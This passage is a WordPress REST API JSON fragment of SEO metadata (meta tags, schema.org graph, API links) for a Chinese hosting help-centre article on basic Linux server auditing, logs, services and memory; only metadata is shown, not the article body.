content=\"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"og:description\" content=\"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb951\u6b21\uff0c\u70b9\u8d5e16\u6b21\uff0c\u6536\u85cf30\u6b21\u3002\u5173\u95ed\u4e0d\u5fc5\u8981\u7684\u670d\u52a1\uff0c\u8282\u7701\u8d44\u6e90\u3001\u63d0\u5347\u5b89\u5168\u3002\" \/>\n<meta property=\"og:url\" content=\"https:\/\/www.wsisp.com\/helps\/17031.html\" \/>\n<meta property=\"og:site_name\" content=\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\" \/>\n<meta property=\"article:published_time\" content=\"2025-04-18T15:28:10+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i-blog.csdnimg.cn\/direct\/b715f79f44d44af7a92700e4dbca1f55.png\" \/>\n<meta name=\"author\" content=\"admin\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"\u4f5c\u8005\" \/>\n\t<meta name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"10 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/17031.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/17031.html\",\"name\":\"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2025-04-18T15:28:10+00:00\",\"dateModified\":\"2025-04-18T15:28:10+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/17031.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/17031.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/17031.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58)\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/17031.html","og_locale":"zh_CN","og_type":"article","og_title":"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"\u6587\u7ae0\u6d4f\u89c8\u9605\u8bfb951\u6b21\uff0c\u70b9\u8d5e16\u6b21\uff0c\u6536\u85cf30\u6b21\u3002\u5173\u95ed\u4e0d\u5fc5\u8981\u7684\u670d\u52a1\uff0c\u8282\u7701\u8d44\u6e90\u3001\u63d0\u5347\u5b89\u5168\u3002","og_url":"https:\/\/www.wsisp.com\/helps\/17031.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2025-04-18T15:28:10+00:00","og_image":[{"url":"https:\/\/i-blog.csdnimg.cn\/direct\/b715f79f44d44af7a92700e4dbca1f55.png"}],"author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"10 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/17031.html","url":"https:\/\/www.wsisp.com\/helps\/17031.html","name":"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58) - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2025-04-18T15:28:10+00:00","dateModified":"2025-04-18T15:28:10+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/17031.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/17031.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/17031.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"linux\u5b66\u4e60(\u4e94)(\u670d\u52a1\u5668\u5ba1\u67e5,\u6b63\u5e38\u8fd0\u884c\u65f6\u95f4\u8d1f\u8f7d,\u8eab\u4efd\u9a8c\u8bc1\u65e5\u5fd7,\u6b63\u5728\u8fd0\u884c\u7684\u670d\u52a1,\u8bc4\u4f30\u53ef\u7528\u5185\u5b58)"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/17031","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=17031"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/17031\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=17031"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=17031"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=17031"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=17031"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}